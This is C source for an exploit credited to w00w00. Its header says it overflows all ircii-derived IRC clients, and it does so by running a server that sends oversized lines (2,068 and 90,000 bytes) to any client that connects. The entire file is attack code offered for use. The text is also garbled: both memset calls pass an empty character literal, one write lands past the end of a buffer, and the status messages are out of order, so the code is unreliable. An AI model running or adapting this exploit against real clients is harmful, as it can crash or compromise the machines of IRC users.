/* w00w00! */
/* Email: WSD@w00w00.org */
/* Exploits an overflow in all ircii derived clients. */
/* Written by nyt for w00w00 Security Development.    */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <netdb.h>
#include <unistd.h>

#define ERROR  -1
#define SUCCESS 0

void main(int argc, char **argv) {
  char *buf;
  int sockfd, soclisten, addrlen;
  struct sockaddr_in soc;

  if(argc < 2)
  {
     fprintf(stderr, "Usage: %s <int port>\n", argv[0]);
     exit(ERROR);
  }
	
  soc.sin_family = AF_INET;
  soc.sin_port   = htons(atoi(argv[1]));
  soc.sin_addr.s_addr = htonl(INADDR_ANY);

  soclisten = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if(soclisten ==  ERROR)
  {
    perror("socket");
    exit(ERROR);
  }

  if(bind(soclisten, (struct sockaddr *) &soc, sizeof(soc)) == ERROR)
  {
    perror("bind");
    exit(ERROR);
  }

  addrlen = 1;
  printf("listening...");

  if(listen(soclisten, 5) == ERROR)
  {
    perror("connect");
    exit(ERROR);
  }

  printf("connected...sending data...");
  addrlen = sizeof(soc);

  sockfd = accept(soclisten, (struct sockaddr *) &soc, &addrlen);
  if (sockfd == ERROR) 
  {
     perror("accept");
     exit(ERROR);
  }

  buf = malloc(2069);
  if (buf == NULL) 
  {
    perror("malloc");
    exit(ERROR);
  }

  memset(buf, '', 2068);
  buf[2069] = '\0';

  if (write(sockfd, buf, strlen(buf)) == ERROR) 
  {
     perror("write");
     exit(ERROR);
  }

  if (write(sockfd, "\n", 1) == ERROR)
  {
    perror("write");
    exit(ERROR);
  }

  free(buf); 		

  buf = malloc(90000 + 1);
  if (buf == NULL)
  {
    perror("malloc");
    exit(ERROR);
  }

  memset(buf, '', 90000);
  buf[90000] = '\0';

  if (write(sockfd, buf, strlen(buf)) == ERROR)
  {
    perror("write");
    exit(ERROR);
  }

  if (write(sockfd, "\n", 1) == ERROR)
  {
    perror("write");
    exit(ERROR);
  }

  free(buf);

  shutdown(sockfd, 2);
  printf("connection terminated.\n");

  exit(SUCCESS);
}
